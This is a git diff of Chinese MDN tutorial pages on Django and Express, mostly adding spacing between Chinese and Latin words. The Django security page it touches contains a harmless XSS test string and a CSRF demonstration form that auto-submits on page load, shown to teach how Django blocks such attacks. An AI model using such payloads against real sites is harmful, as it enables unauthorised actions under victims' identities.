- Selenium 是一个在真实浏览器中,自动化测试的框架。它允许您模拟与站点交互的真实用户,并为系统测试您的站点,提供了一个很好的框架(从集成测试开始的下一步)。
总结
本教程中,我們演示了如何为模型、表单和视图,编写并运行测试。最重要的是,我们已经提供给您,应该测试的内容的简短摘要,这通常是您开始时,最难解决的问题。还有很多东西要知道,但即使你已经学到了什么,你也应该能够为你的网站创建有效的单元测试。
-下一个、也是最后一个教程,展示了如何部署精彩的(并经过全面测试的!)Django网站。
+下一个、也是最后一个教程,展示了如何部署精彩的(并经过全面测试的!)Django 网站。
也可以参考
diff --git a/files/zh-cn/learn/server-side/django/tutorial_local_library_website/index.html b/files/zh-cn/learn/server-side/django/tutorial_local_library_website/index.html index 397e98fb9adaf6..a49288b3ef4e39 100644 --- a/files/zh-cn/learn/server-side/django/tutorial_local_library_website/index.html +++ b/files/zh-cn/learn/server-side/django/tutorial_local_library_website/index.html @@ -12,11 +12,11 @@
- 前提: -阅读 Django介绍。在接下来的文章里你需要 创建Django开发环境. +前提: +阅读 Django 介绍。在接下来的文章里你需要 创建 Django 开发环境. - @@ -24,38 +24,38 @@目标: +目标: 介绍教程里使用的网站应用,让读者明白要讨论的主题。 概述
-欢迎来到MDN的”本地图书馆“Django教程。在教程里,我们会开发一个网站,用来管理本地图书馆的目录。
+欢迎来到 MDN 的”本地图书馆“Django 教程。在教程里,我们会开发一个网站,用来管理本地图书馆的目录。
-在这一系列的教程里你将:
+在这一系列的教程里你将:
-
-- 运用Django的工具创建网站和应用的框架。
+- 运用 Django 的工具创建网站和应用的框架。
- 启动和停止开发用的服务器。
- 创建模型(models)用来代表应用里的数据。
-- 运用Django的admin站点填充网站数据。
-- 面对不同的网络请求,创建视图函数(views)取回相应的数据。并把数据用模板(templates )渲染成HTML展示在浏览器里。
-- 创建网络分发器,将不同的URL模式分发给特定的视图函数(views)。
+- 运用 Django 的 admin 站点填充网站数据。
+- 面对不同的网络请求,创建视图函数(views)取回相应的数据。并把数据用模板(templates )渲染成 HTML 展示在浏览器里。
+- 创建网络分发器,将不同的 URL 模式分发给特定的视图函数(views)。
- 添加用户认证和会话(sessions)管理网站行为和进入权限。
- 使用表单。
- 为应用编写测试。
-- 有效运用Django的安全系统。
+- 有效运用 Django 的安全系统。
- 把应用布置到生产环境中。
关于这些主题,你已经学会了一些,并对其他的也有了简单的了解。在这系列教程的最后,你会学到足够多而可以自己开发简单的Django应用了。
+关于这些主题,你已经学会了一些,并对其他的也有了简单的了解。在这系列教程的最后,你会学到足够多而可以自己开发简单的 Django 应用了。
本地图书馆网站
本地图书馆是我们在本系列教程里创建和不断改善的网站。跟你期望的一样,这个网站的目标是为一个小型的图书馆提供一个在线的目录。在这个小型图书管里,用户能浏览书籍和管理他们的账户。
-这个例子是精心挑选出来的,因为它可以根据我们的需要增加或多或少的细节。也能用来展示几乎所有的Django特性。更重要的是,它提供了一条指南式的路线,在这条路线中,我们会用到Django网络框架最重要的功能:
+这个例子是精心挑选出来的,因为它可以根据我们的需要增加或多或少的细节。也能用来展示几乎所有的 Django 特性。更重要的是,它提供了一条指南式的路线,在这条路线中,我们会用到 Django 网络框架最重要的功能:
-
- 在第一篇教程里,我们会定义一个简单到只能浏览的图书馆。图书馆的会员可以查找哪些书可以借阅。我们得以探索那些几乎所有网站都会运用的操作:阅读和展示数据库里的内容。
-- 接下来,图书馆会慢慢扩展来展示更高级的Django特性。例如,我们会扩展功能,让会员能够保留图书。这个特性会展示如何使用表单,并支持用户认证。
+- 接下来,图书馆会慢慢扩展来展示更高级的 Django 特性。例如,我们会扩展功能,让会员能够保留图书。这个特性会展示如何使用表单,并支持用户认证。
尽管这是一个非常容易扩展的例子,它被称为本地图书馆是有原因的——我们希望用最少的信息帮助你快速创建和运用Django。最后,我们会存储图书信息,图书数量,作者和其他重要信息。我们不会存储图书馆可能会存储的其他信息,或是提供一个支持多个图书馆或是”大型图书馆“功能的构建。
+尽管这是一个非常容易扩展的例子,它被称为本地图书馆是有原因的——我们希望用最少的信息帮助你快速创建和运用 Django。最后,我们会存储图书信息,图书数量,作者和其他重要信息。我们不会存储图书馆可能会存储的其他信息,或是提供一个支持多个图书馆或是”大型图书馆“功能的构建。
我卡住了,从哪里获得源代码呢?
diff --git a/files/zh-cn/learn/server-side/django/web_application_security/index.html b/files/zh-cn/learn/server-side/django/web_application_security/index.html index 6b2b8f6304a23f..a434ab889e7353 100644 --- a/files/zh-cn/learn/server-side/django/web_application_security/index.html +++ b/files/zh-cn/learn/server-side/django/web_application_security/index.html @@ -1,5 +1,5 @@ --- -title: Django Web应用安全 +title: Django Web 应用安全 slug: learn/Server-side/Django/web_application_security translation_of: Learn/Server-side/Django/web_application_security --- @@ -7,74 +7,74 @@{{PreviousMenuNext("Learn/Server-side/Django/Deployment", "Learn/Server-side/Django/django_assessment_blog", "Learn/Server-side/Django")}}-保护用户数据是任何网站设计的重要部分。我们之前在文章web安全中解释了一些更常见的安全威胁--本文提供了Django的内置保护如何处理这些威胁的实际演示。
+保护用户数据是任何网站设计的重要部分。我们之前在文章web 安全中解释了一些更常见的安全威胁--本文提供了 Django 的内置保护如何处理这些威胁的实际演示。
- 前提: -阅读服务器端网页编程中的 "Website security" 主题。并请至少完成Django Web框架教程 Django Tutorial Part 9: 使用表单 及以前的教程。 +前提: +阅读服务器端网页编程中的 "Website security" 主题。并请至少完成 Django Web 框架教程 Django Tutorial Part 9: 使用表单 及以前的教程。 - 目标: -理解保障Django网站安全应该(和不应该)做的事情。 +目标: +理解保障 Django 网站安全应该 (和不应该) 做的事情。 概述
-web安全 主題提供一个概述,说明了网站安全对于服务器端设计的意义,以及以及一些需要应对的常见威胁。本文中包含一个关键的概念:如果网站信任任何来自浏览器的数据,几乎所有的攻击方法都会成功。
+web 安全 主題提供一个概述,说明了网站安全对于服务器端设计的意义,以及以及一些需要应对的常见威胁。本文中包含一个关键的概念:如果网站信任任何来自浏览器的数据,几乎所有的攻击方法都会成功。
--重要提示: 切记,对于网站安全来说最重要一点就是“永远不要相信浏览器端提交的数据”。 这些数据包括使用
+GET
方式请求时URL中的参数,POST
方式请求的数据,HTTP headers 和 cookies,以及用户上传的文件等等. 请确保一定要检查和清洗这些提交的数据。对于网站安全来说,总是要做好最坏的打算。重要提示: 切记,对于网站安全来说最重要一点就是“永远不要相信浏览器端提交的数据”。 这些数据包括使用
GET
方式请求时 URL 中的参数,POST
方式请求的数据,HTTP headers 和 cookies,以及用户上传的文件等等。请确保一定要检查和清洗这些提交的数据。对于网站安全来说,总是要做好最坏的打算。对Django用户来说,好消息是Django框架已经处理了大量的常见威胁。请阅读Django官方文档中的"Security in Django"部分来了解Django的安全细节,以及如何确保基于Django的网站的安全。
+对 Django 用户来说,好消息是 Django 框架已经处理了大量的常见威胁。请阅读 Django 官方文档中的"Security in Django"部分来了解 Django 的安全细节,以及如何确保基于 Django 的网站的安全。
常见威胁及保护
-在本文中,我们将使用前面章节中的“本地图书馆”项目作为示范来演示一些Django的安全特性。
+在本文中,我们将使用前面章节中的“本地图书馆”项目作为示范来演示一些 Django 的安全特性。
跨站脚本 (XSS)
-XSS(英语:Cross site scripting,通常简称:XSS)是指一类恶意攻击者将代码通过网站注入到其他用户浏览器中的攻击方式。一般攻击者会把恶意代码作为普通数据放入到网站数据库中,这样其他用户在获取和展示数据的过程中就会受到攻击。此外,攻击者还可以通过引诱用户点击某些链接来执行恶意的JavaScript代码。
+XSS(英语:Cross site scripting,通常简称:XSS) 是指一类恶意攻击者将代码通过网站注入到其他用户浏览器中的攻击方式。一般攻击者会把恶意代码作为普通数据放入到网站数据库中,这样其他用户在获取和展示数据的过程中就会受到攻击。此外,攻击者还可以通过引诱用户点击某些链接来执行恶意的 JavaScript 代码。
-Django的模板系统可以帮您抵挡大部分的XSS攻击,实现的方式在于转义对于HTML来说比较“危险”的特殊字符(可参考官方文档:escaping specific characters)。现在,我们用Django Tutorial Part 9: Working with forms 这一章中的“创建作者”表单来做个演示,尝试向我们的本地图书馆网站注入一些JavaScript脚本。
+Django 的模板系统可以帮您抵挡大部分的 XSS 攻击,实现的方式在于转义对于 HTML 来说比较“危险”的特殊字符 (可参考官方文档:escaping specific characters)。现在,我们用Django Tutorial Part 9: Working with forms 这一章中的“创建作者”表单来做个演示,尝试向我们的本地图书馆网站注入一些 JavaScript 脚本。
-
-- 使用开发服务器启动网站(参考命令:
+python3 manage.py runserver
)。- 使用开发服务器启动网站 (参考命令:
python3 manage.py runserver
)。- 在浏览器中打开网站,并用超级用户身份登录。
- 进入创建作者页面 (地址可能会是:
-http://127.0.0.1:8000/catalog/author/create/
)。- 输入姓名、生日等信息,随后在Last Name这个字段里面填入以下的内容:
+- 输入姓名、生日等信息,随后在 Last Name 这个字段里面填入以下的内容:
<script>alert('Test alert');</script>
-注意: 这一段代码并没有任何杀伤力,在执行的时候只会在浏览器中弹出一个警告提示框。如果这个警告提示框出现,则表明本网站存在可被XSS攻击的漏洞。
+注意: 这一段代码并没有任何杀伤力,在执行的时候只会在浏览器中弹出一个警告提示框。如果这个警告提示框出现,则表明本网站存在可被 XSS 攻击的漏洞。
- 点击 Submit 按钮保存信息。
-- 保存后的作者信息将会显示为下图的样式。因为XSS防护措施的存在,注入代码中的
+alert()
部分并没有执行,而只是用文本的方式直接显示了出来。- 保存后的作者信息将会显示为下图的样式。因为 XSS 防护措施的存在,注入代码中的
alert()
部分并没有执行,而只是用文本的方式直接显示了出来。如果你有兴趣阅读下页面的HTML源码,则会发现危险的字符已被转义成了无害的字符(例如:
+>
被转义为了>
)如果你有兴趣阅读下页面的 HTML 源码,则会发现危险的字符已被转义成了无害的字符 (例如:
>
被转义为了>
)<h1>Author: Boon<script>alert('Test alert');</script>, David (Boonie) </h1>-Django的模板系统可以帮助抵御大部分的XSS攻击。当然,XSS保护功能也可以被关闭,而且XSS保护一般对非用户输入的内容不会自动进行防护(例如表单中字段的
+help_text
通常不会是用户提交的,所以这部分数据Django也不会进行转义)Django 的模板系统可以帮助抵御大部分的 XSS 攻击。当然,XSS 保护功能也可以被关闭,而且 XSS 保护一般对非用户输入的内容不会自动进行防护 (例如表单中字段的
-help_text
通常不会是用户提交的,所以这部分数据 Django 也不会进行转义)XSS攻击也可能来自于其他不可信的数据来源,例如cookies,Web服务或上传的文件(实际上只要是未经清洗的数据直接展示出来都会有被攻击的可能)。如果你要显示这些不可信来源的数据,切记一定要自己做好数据清洗的工作。
+XSS 攻击也可能来自于其他不可信的数据来源,例如 cookies,Web 服务或上传的文件(实际上只要是未经清洗的数据直接展示出来都会有被攻击的可能)。如果你要显示这些不可信来源的数据,切记一定要自己做好数据清洗的工作。
防护跨站请求伪造 (CSRF)
-CSRF(英语:Cross-site request forgery,通常简称:CSRF或XSRF)攻击可以让恶意攻击者在用户不知情的情况下,使用用户的身份来进行系统操作。举个例子,现在有一名黑客想要在我们的本地图书馆中添加一些作者信息。
+CSRF(英语:Cross-site request forgery,通常简称:CSRF 或 XSRF) 攻击可以让恶意攻击者在用户不知情的情况下,使用用户的身份来进行系统操作。举个例子,现在有一名黑客想要在我们的本地图书馆中添加一些作者信息。
-注意:这个示例里面的黑客没有考虑对钱下手。而现实生活中的黑客则极有可能会产生更加危险的操作(例如,把钱转入他们自己的账户中等等)。
为了实现这个目的,黑客可以创建一个类似于下面示例的HTML文件,这个文件包含了一个创建作者的表单(类似我们在之前章节中用过的),并且一旦加载完毕就会立即进行提交。随后黑客可以将这个文件发送至所有的图书管理员,并且引诱他们打开这个文件(文件中真的没有啥有害的信息)。如果任何一个已登录的图书管理员不慎打开了这个文件,那么文件中的表单就会利用图书管理员的身份来提交,随后就会创建出一个新的作者来。
+为了实现这个目的,黑客可以创建一个类似于下面示例的 HTML 文件,这个文件包含了一个创建作者的表单 (类似我们在之前章节中用过的),并且一旦加载完毕就会立即进行提交。随后黑客可以将这个文件发送至所有的图书管理员,并且引诱他们打开这个文件 (文件中真的没有啥有害的信息)。如果任何一个已登录的图书管理员不慎打开了这个文件,那么文件中的表单就会利用图书管理员的身份来提交,随后就会创建出一个新的作者来。
<html> <body onload='document.EvilForm.submit()'> @@ -93,61 +93,61 @@-防护跨站请求伪造 (CSRF)
</html>运行Django开发服务器,然后使用超级管理员账号进行登录。将上面的代码贴到一个文件中,并在浏览器中打开这个文件,随后你就会看到一个CSRF错误,这是因为Django的安全机制防护了此类的攻击。
+运行 Django 开发服务器,然后使用超级管理员账号进行登录。将上面的代码贴到一个文件中,并在浏览器中打开这个文件,随后你就会看到一个 CSRF 错误,这是因为 Django 的安全机制防护了此类的攻击。
-在表单定义的时候加入
+{% csrf_token %}
这个模板标签, CSRF保护功能即可启用。在模板渲染的时候,这个token在 HTML代码中将会按照下面的格式显示,包含了一个与当前用户和当前浏览器关联的值。在表单定义的时候加入
{% csrf_token %}
这个模板标签,CSRF 保护功能即可启用。在模板渲染的时候,这个 token 在 HTML 代码中将会按照下面的格式显示,包含了一个与当前用户和当前浏览器关联的值。<input type='hidden' name='csrfmiddlewaretoken' value='0QRWHnYVg776y2l66mcvZqp8alrv4lb8S8lZ4ZJUWGZFA5VHrVfL2mpH29YZ39PW' />Django生成这个用户/浏览器关联key的目的在于可以据此来拒绝那些不包含这个key的表单请求,也可以拒绝那些包含了错误了用户/浏览器关联key的表单请求。
-有了这种保护机制后,攻击者要发起攻击就需要找到目标用户的CSRF key。通过广撒网给所有的图书管理员发送恶意代码文件的方式也很难奏效,因为CSRF key是和浏览器相关联的。
+有了这种保护机制后,攻击者要发起攻击就需要找到目标用户的 CSRF key。通过广撒网给所有的图书管理员发送恶意代码文件的方式也很难奏效,因为 CSRF key 是和浏览器相关联的。
-Django的CSRF防御默认是开启的。一定要在表单的位置使用
+{% csrf_token %}
这个标签,同时,切记使用POST
方式来发起新增和更新数据的请求。Django 的 CSRF 防御默认是开启的。一定要在表单的位置使用
{% csrf_token %}
这个标签,同时,切记使用POST
方式来发起新增和更新数据的请求。其他防护措施
-Django还提供了很多其他形式的防护措施 (大部分不是很容易进行演示):
+Django 还提供了很多其他形式的防护措施 (大部分不是很容易进行演示):
-
- SQL注入防护
-- SQL注入漏洞可以让攻击者直接对网站数据库执行构造好的SQL语句,在无需用户权限的情况下即可实现对数据的访问、修改甚至是删除。绝大多数的情况下,使用Django的查询集/模型直接进行数据库访问时,实际使用的SQL语句已经被底层的数据库驱动妥善地进行了转义。如果必须要直接执行自定义的SQL语句,那么也请一定要注意防范SQL注入的问题。
+- SQL 注入防护
+- SQL 注入漏洞可以让攻击者直接对网站数据库执行构造好的 SQL 语句,在无需用户权限的情况下即可实现对数据的访问、修改甚至是删除。绝大多数的情况下,使用 Django 的查询集/模型直接进行数据库访问时,实际使用的 SQL 语句已经被底层的数据库驱动妥善地进行了转义。如果必须要直接执行自定义的 SQL 语句,那么也请一定要注意防范 SQL 注入的问题。
- 点击劫持防护
-- 点击劫持是指攻击者通过诱导用户,用户本意要访问A网站,最终却访问到了B网站。举例说明,攻击者可以给用户显示一个合法的银行网站,同时把用户名密码登录框改为不可见的<iframe> 标签,以此来窃取用户的登录信息。Django通过
+X-Frame-Options
中间件来防御点击劫持攻击,在支持的浏览器中,这种方式可以避免网站在iframe中显示。- 点击劫持是指攻击者通过诱导用户,用户本意要访问 A 网站,最终却访问到了 B 网站。举例说明,攻击者可以给用户显示一个合法的银行网站,同时把用户名密码登录框改为不可见的<iframe> 标签,以此来窃取用户的登录信息。Django 通过
X-Frame-Options
中间件来防御点击劫持攻击,在支持的浏览器中,这种方式可以避免网站在 iframe 中显示。- 强制SSL/HTTPS
- web服务器可通过启用SSL/HTTPS来加密网站和浏览器之间的所有通信流量,包括了身份认证及其他通过纯文本方式来发送的数据流量(强烈建议启用HTTPS)。如果HTTPS已启用,Django还提供了一起实用的保护措施:
-
- -
SECURE_PROXY_SSL_HEADER
设置可以用于检查内容是否安全,可用于代理和Django之间使用非HTTPS方式通讯的情况下。- -
SECURE_SSL_REDIRECT
可以将所有HTTP的请求重定向到HTTPS。- 使用 HTTP Strict Transport Security (HSTS) 头来通知浏览器未来与此网站的连接仅使用HTTPS。与HTTP连接重定向至HTTPS的配置相结合后,HSTS可以确保之后的连接强制使用HTTPS。HSTS还有
-SECURE_HSTS_SECOND
和SECURE_HSTS_INCLUDE_SUBDOMAINS
等选项可以进行配置。- 将
+SESSION_COOKIE_SECURE
和CSRF_COOKIE_SECURE
设置为True
。这些配置将确保session和csrf的cookie仅使用HTTPS连接来发送。- +
SECURE_PROXY_SSL_HEADER
设置可以用于检查内容是否安全,可用于代理和 Django 之间使用非 HTTPS 方式通讯的情况下。- +
SECURE_SSL_REDIRECT
可以将所有 HTTP 的请求重定向到 HTTPS。- 使用 HTTP Strict Transport Security (HSTS) 头来通知浏览器未来与此网站的连接仅使用 HTTPS。与 HTTP 连接重定向至 HTTPS 的配置相结合后,HSTS 可以确保之后的连接强制使用 HTTPS。HSTS 还有
+SECURE_HSTS_SECOND
和SECURE_HSTS_INCLUDE_SUBDOMAINS
等选项可以进行配置。- 将
SESSION_COOKIE_SECURE
和CSRF_COOKIE_SECURE
设置为True
。这些配置将确保 session 和 csrf 的 cookie 仅使用 HTTPS 连接来发送。-
-- Host头校验
-- 使用
+ALLOWED_HOSTS
配置仅接受由信任的host发起的请求。- Host 头校验
+- 使用
ALLOWED_HOSTS
配置仅接受由信任的 host 发起的请求。还有很多其他的安全措施及使用这些安全措施的注意事项我们没有提到。我们这里仅仅提供了Django安全措施的一个概览,更多的信息请参阅Django官方安全文档。
+还有很多其他的安全措施及使用这些安全措施的注意事项我们没有提到。我们这里仅仅提供了 Django 安全措施的一个概览,更多的信息请参阅 Django 官方安全文档。
总结
-Django具备有效的防护措施,以对抗一些常見的威胁,包括 XSS 和 CSRF 攻击。本文中,我们已经使用本地图书馆网站来了演示Django如何处理一些特定的攻击。我们也提供了关于其它保护措施的简单概述。
+Django 具备有效的防护措施,以对抗一些常見的威胁,包括 XSS 和 CSRF 攻击。本文中,我们已经使用本地图书馆网站来了演示 Django 如何处理一些特定的攻击。我们也提供了关于其它保护措施的简单概述。
-但这仅仅是对网站安全的一个入门。我们强烈建议您阅读 Django中的安全 以获得更加深入的理解。
+但这仅仅是对网站安全的一个入门。我们强烈建议您阅读 Django 中的安全 以获得更加深入的理解。
-本Django教程的下一步,也是最后一步,是完成 评估任务。
+本 Django 教程的下一步,也是最后一步,是完成 评估任务。
参阅
-
-- Security in Django (Django官方文档)
+- Security in Django (Django 官方文档)
- Server side website security (MDN)
- Web security (MDN)
- Securing your site (MDN)
diff --git a/files/zh-cn/learn/server-side/express_nodejs/deployment/index.html b/files/zh-cn/learn/server-side/express_nodejs/deployment/index.html index 5627f3322e990c..4816133a324295 100644 --- a/files/zh-cn/learn/server-side/express_nodejs/deployment/index.html +++ b/files/zh-cn/learn/server-side/express_nodejs/deployment/index.html @@ -18,12 +18,12 @@@@ -32,17 +32,17 @@
- 预备知识: +预备知识: 完成前面所有的指南主题,包括 Express Tutorial Part 6: Working with forms. - 目标: -学习你可以怎样以及在哪里部署一个Express 应用到生产环境。 +目标: +学习你可以怎样以及在哪里部署一个 Express 应用到生产环境。 概览
一旦您的站点完成(或完成“足够”以开始公共测试),您将需要将其托管在比您的个人开发计算机,更公开和可访问的地方。
-到目前为止,您一直在开发环境中工作,使用 Express / Node 作为Web服务器,将您的站点共享到本地浏览器/网络,并使用(不安全的)开发设置运行您的网站,以显示调试和其他私人信息。在您可以在外部托管网站之前,您首先必须:
+到目前为止,您一直在开发环境中工作,使用 Express / Node 作为 Web 服务器,将您的站点共享到本地浏览器/网络,并使用(不安全的)开发设置运行您的网站,以显示调试和其他私人信息。在您可以在外部托管网站之前,您首先必须:
-
-- 选择托管Express 应用程序的环境。
+- 选择托管 Express 应用程序的环境。
- 对项目设置进行一些更改。
- 设置生产级别的基础架构,以服务您的网站。
本教程提供了,有关选择托管站点的选项的一些指导,简要概述了为使您的Express 应用程序准备好生产,所需执行的操作,以及如何将LocalLibrary 网站安装到 Heroku云托管上的工作示例服务。
+本教程提供了,有关选择托管站点的选项的一些指导,简要概述了为使您的 Express 应用程序准备好生产,所需执行的操作,以及如何将 LocalLibrary 网站安装到 Heroku云托管上的工作示例服务。
-请记住,您不必使用Heroku - 还有其他托管服务可用。我们还提供了一个单独的教程,以展示如何在 PWS/Cloud Foundry 上安装LocalLibrary。
+请记住,您不必使用 Heroku - 还有其他托管服务可用。我们还提供了一个单独的教程,以展示如何在 PWS/Cloud Foundry 上安装 LocalLibrary。
什么是生产环境?
@@ -50,34 +50,34 @@什么是生产环境?
-
- 网站运行的计算机硬件。
-- 操作系统(例如Linux或Windows)。
+- 操作系统(例如 Linux 或 Windows)。
- 编程语言运行库和框架库,在其上编写您的网站。
-- Web 服务器基础结构,可能包含Web服务器,反向代理,负载平衡器等。
+- Web 服务器基础结构,可能包含 Web 服务器,反向代理,负载平衡器等。
- 您的网站所依赖的数据库。
服务器计算机,可以位于您的场所,并通过快速链接,连接到 Internet,但使用 “托管在云上” 的计算机更为常见。这实际上意味着,您的代码运行在托管公司的数据中心的某台远程计算机(或可能是“虚拟”计算机)。远程服务器,通常会以特定价格提供互联网连接,和一些保证级别的计算资源(例如CPU,RAM,存储器等)。
+服务器计算机,可以位于您的场所,并通过快速链接,连接到 Internet,但使用“托管在云上”的计算机更为常见。这实际上意味着,您的代码运行在托管公司的数据中心的某台远程计算机(或可能是“虚拟”计算机)。远程服务器,通常会以特定价格提供互联网连接,和一些保证级别的计算资源(例如 CPU,RAM,存储器等)。
这种可远程访问的计算/网络硬件,称为基础架构即服务(IaaS)。许多IaaS 供应商,提供预安装特定操作系统的选项,您必须在其上,安装生产环境的其他组件。其他供应商,允许您选择功能更全面的环境,可能包括完整的 node 设置。
-注意: 预构建环境,可以使您的网站设置变得非常简单,因为它们会减少配置,但可用选项可能会限制您使用不熟悉的服务器(或其他组件),并且可能基于较旧版本的操作系统。通常最好自己安装组件,以便获得所需的组件,并且当您需要升级系统的某些部分时,您可以知道从哪里开始!
+注意: 预构建环境,可以使您的网站设置变得非常简单,因为它们会减少配置,但可用选项可能会限制您使用不熟悉的服务器(或其他组件),并且可能基于较旧版本的操作系统。通常最好自己安装组件,以便获得所需的组件,并且当您需要升级系统的某些部分时,您可以知道从哪里开始!
其他托管服务提供商,支持 Express 作为平台即服务(PaaS)产品的一部分。使用此类托管时,您无需担心大多数生产环境(服务器,负载平衡器等),因为主机平台会为您处理这些问题。这使得部署非常简单,因为您只需要专注于 Web 应用程序,而不是任何其他服务器基础结构。
-一些开发人员选择 IaaS ,相对于 PaaS ,IaaS 提供更高灵活性,而其他开发人员偏好 PaaS 的降低维护开销,和更轻松的扩展性。当您在一开始使用时,在 PaaS 系统上设置您的网站,要容易得多,因此我们将在本教程中使用 PaaS。
+一些开发人员选择 IaaS,相对于 PaaS,IaaS 提供更高灵活性,而其他开发人员偏好 PaaS 的降低维护开销,和更轻松的扩展性。当您在一开始使用时,在 PaaS 系统上设置您的网站,要容易得多,因此我们将在本教程中使用 PaaS。
-提示: 如果您选择Node/Express友好的托管服务提供商,他们应该提供,有关如何使用Web服务器,应用程序服务器,反向代理等不同配置,来设置 Express 网站的说明。例如,在数字海洋node社区文档中,有许多各种配置的手把手指南。
+提示: 如果您选择Node/Express友好的托管服务提供商,他们应该提供,有关如何使用Web服务器,应用程序服务器,反向代理等不同配置,来设置 Express 网站的说明。例如,在数字海洋 node 社区文档中,有许多各种配置的手把手指南。
选择一个主机供应商
-众所周知,众多托管服务提供商,都积极支持或与Node(和Express)合作。这些供应商提供不同类型的环境(IaaS,PaaS),以及不同价格的不同级别的计算和网络资源。
+众所周知,众多托管服务提供商,都积极支持或与 Node(和 Express)合作。这些供应商提供不同类型的环境(IaaS,PaaS),以及不同价格的不同级别的计算和网络资源。
-提示: 有很多托管解决方案,他们的服务和定价,可能会随着时间而改变。虽然我们在下面介绍几个选项,但在选择托管服务提供商之前,有必要自己进行互联网搜索。
+提示: 有很多托管解决方案,他们的服务和定价,可能会随着时间而改变。虽然我们在下面介绍几个选项,但在选择托管服务提供商之前,有必要自己进行互联网搜索。
选择主机时需要考虑的一些事项:
@@ -89,17 +89,17 @@选择一个主机供应商
- 主机正常运行时间和停机时间的历史表现。
- 用于管理站点的工具 - 易于使用且安全(例如 SFTP 与 FTP)。
- 用于监控服务器的内置框架。
-- 已知限制。有些主机会故意阻止某些服务(例如电子邮件)。其他在某些价格层中,仅提供一定数小时的 “实时时间”,或者仅提供少量存储空间。
-- 额外的好处。一些提供商将提供免费域名和SSL证书支持,否则您将不得不为此另外支付费用。
+- 已知限制。有些主机会故意阻止某些服务(例如电子邮件)。其他在某些价格层中,仅提供一定数小时的“实时时间”,或者仅提供少量存储空间。
+- 额外的好处。一些提供商将提供免费域名和 SSL 证书支持,否则您将不得不为此另外支付费用。
- 您所依赖的“免费”等级,是否会随着时间的推移而过期,以及迁移到更昂贵等级的成本,是否意味着您最好在一开始就使用其他服务!
当你刚开始时,好消息是有很多网站提供“免费”的计算环境,尽管有一些条件。例如, Heroku “永远” 提供免费但资源有限的PaaS 环境,而 Amazon Web Services, Microsoft Azure 和开源选项 PWS/Cloud Foundry 在您第一次加入时,提供免费信用额度。
+当你刚开始时,好消息是有很多网站提供“免费”的计算环境,尽管有一些条件。例如, Heroku “永远”提供免费但资源有限的 PaaS 环境,而 Amazon Web Services, Microsoft Azure 和开源选项 PWS/Cloud Foundry 在您第一次加入时,提供免费信用额度。
-许多提供商还拥有“基本”层,可提供更多有用的计算能力,和更少的限制。举例来说, Digital Ocean 是一个流行的托管服务提供商,它提供了一个相对便宜的基本计算层(在本教程写作时,是每月5美元的较低范围)。
+许多提供商还拥有“基本”层,可提供更多有用的计算能力,和更少的限制。举例来说, Digital Ocean 是一个流行的托管服务提供商,它提供了一个相对便宜的基本计算层(在本教程写作时,是每月 5 美元的较低范围)。
-注意: 请记住,价格不是唯一的选择标准。如果您的网站成功,可能会发现可扩展性是最重要的考虑因素。
+注意: 请记住,价格不是唯一的选择标准。如果您的网站成功,可能会发现可扩展性是最重要的考虑因素。
准备好发布你的网站
@@ -109,24 +109,24 @@准备好发布你的网站
在以下小节中,我们概述了您应该对应用进行的、最重要的更改。
-提示: Express文档中还有其他有用的提示 - 请参阅“生产最佳实践:性能和可靠性”,以及“生产最佳实践:安全性”。
+提示: Express 文档中还有其他有用的提示 - 请参阅“生产最佳实践:性能和可靠性”,以及“生产最佳实践:安全性”。
设置 NODE_ENV 为 'production'
-我们可以通过将
+NODE_ENV
环境变量,设置为 production ,来删除错误页面中的堆栈跟踪(默认设置为 “development” )。除了生成较为不详细的错误消息之外,还要将变量设置为生产缓存视图模板,和从CSS扩展生成的CSS文件。测试表明,将NODE_ENV
设置为生产,可以将应用程序性能提高三倍!我们可以通过将
-NODE_ENV
环境变量,设置为 production,来删除错误页面中的堆栈跟踪(默认设置为“development” )。除了生成较为不详细的错误消息之外,还要将变量设置为生产缓存视图模板,和从 CSS 扩展生成的 CSS 文件。测试表明,将NODE_ENV
设置为生产,可以将应用程序性能提高三倍!可以使用导出或环境文件,或使用OS初始化系统,以进行此更改。
+可以使用导出或环境文件,或使用 OS 初始化系统,以进行此更改。
-注意: 这实际上是在环境设置,而不是应用中所做的更改,但重要的是,要注意这里!我们将在下面,展示如何为我们的托管示例设置。
+注意: 这实际上是在环境设置,而不是应用中所做的更改,但重要的是,要注意这里!我们将在下面,展示如何为我们的托管示例设置。
Log appropriately
-记录呼叫会对高流量网站产生影响。在生产环境中,您可能需要记录网站活动(例如,跟踪流量,或记录API调用),但您应尝试最小化为调试目的而添加的日志记录量。
+记录呼叫会对高流量网站产生影响。在生产环境中,您可能需要记录网站活动(例如,跟踪流量,或记录 API 调用),但您应尝试最小化为调试目的而添加的日志记录量。
-在生产环境中,最小化“调试”日志记录的一种方法,是使用类似调试debug 的模块,允许您通过设置环境变量,来控制执行的日志记录。例如,下面的代码片段,显示了如何设置“author”日志记录。调试变量使用名称“author”声明,并且将自动显示,来自此对象的所有日志的前缀“author”。
+在生产环境中,最小化“调试”日志记录的一种方法,是使用类似调试 debug 的模块,允许您通过设置环境变量,来控制执行的日志记录。例如,下面的代码片段,显示了如何设置“author”日志记录。调试变量使用名称“author”声明,并且将自动显示,来自此对象的所有日志的前缀“author”。
var debug = require('debug')('author'); @@ -155,14 +155,14 @@Log appropriately
-挑战: 调用
+debug
可以替换您以前使用console.log()
或console.error()
执行的日志记录。通过调试模块debug进行日志记录,替换代码中的所有console.log()
调用。通过设置 DEBUG 变量,并在其中记录对日志记录的影响,在开发环境中,打开和关闭日志记录。挑战: 调用
debug
可以替换您以前使用console.log()
或console.error()
执行的日志记录。通过调试模块debug进行日志记录,替换代码中的所有console.log()
调用。通过设置 DEBUG 变量,并在其中记录对日志记录的影响,在开发环境中,打开和关闭日志记录。如果您需要记录网站活动,可以使用 Winston 或 Bunyan 等日志库。有关此主题的更多信息,请参阅:生产最佳实践:性能和可靠性。
使用 gzip/deflate 压缩响应文件
-Web服务器,通常可以压缩发送回客户端的 HTTP 响应,从而显着减少客户端获取和加载页面所需的时间。使用的压缩方法,取决于客户端在请求中支持的解压缩方法(如果不支持压缩方法,则响应将以未压缩的方式发送)。
+Web 服务器,通常可以压缩发送回客户端的 HTTP 响应,从而显着减少客户端获取和加载页面所需的时间。使用的压缩方法,取决于客户端在请求中支持的解压缩方法(如果不支持压缩方法,则响应将以未压缩的方式发送)。
您可以使用压缩中间件 compression,将其添加到您的站点。通过在项目的根目录下,运行以下命令,将其安装到项目中。
@@ -214,65 +214,65 @@使用 Helmet 避免被常见 ...
-注意: 上面的命令,添加了对大多数站点有意义的可用标头子集。您可以按照npm上的说明,根据需要添加/禁用特定标头。
